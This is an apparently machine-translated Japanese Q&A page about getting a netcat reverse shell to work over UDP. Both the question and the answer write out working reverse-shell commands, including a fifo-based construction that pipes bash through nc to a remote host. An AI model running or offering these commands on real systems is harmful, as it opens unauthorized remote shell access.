2017-06-23 3 views
0

netcatを使用してUDP上で逆シェルを取得したい。netcatでUDP上で逆シェルを取得する

ホスト1:

nc.traditional -l -p 4444 -v -u 

ホスト2:

nc.traditional localhost 4444 -e /bin/bash -u 

しかし、UDP上で、それを送信するために、私はこのような-uオプションを実行するように、デフォルトでのnetcatは、TCP上のトラフィックを送信します私は出力を取得しないbashコマンドを入力します。何故ですか?

答えて

1

はこれでいくつかの問題があります。

  1. あなたがホスト2にlocalhostを使用する。これは、現在のホストを参照する特別なホスト名で、UDPは何の接続がありません。1.
  2. ホストしていません。ホスト1は、メッセージを最初に受信しない場合、パケットの送信先を認識しません。
  3. bashは、入力を文字単位で読み取ります。これは、非ストリームパケットベースのデータではうまく機能しません。

代わりnc接続し、ストリームとbash、およびそのホスト1は、あなたが入力したコマンド送信先を知ることができますので、その後すぐにパケットを送信することができます

ホスト1:

nc.traditional -l -p 4444 -v -u 

ホストを2:

mkfifo fifo 
nc.traditional -u host1 4444 < fifo | 
{ 
    echo "Hi" 
    bash 
} > fifo 
+0

ありがとうございました – v8rs

関連する問題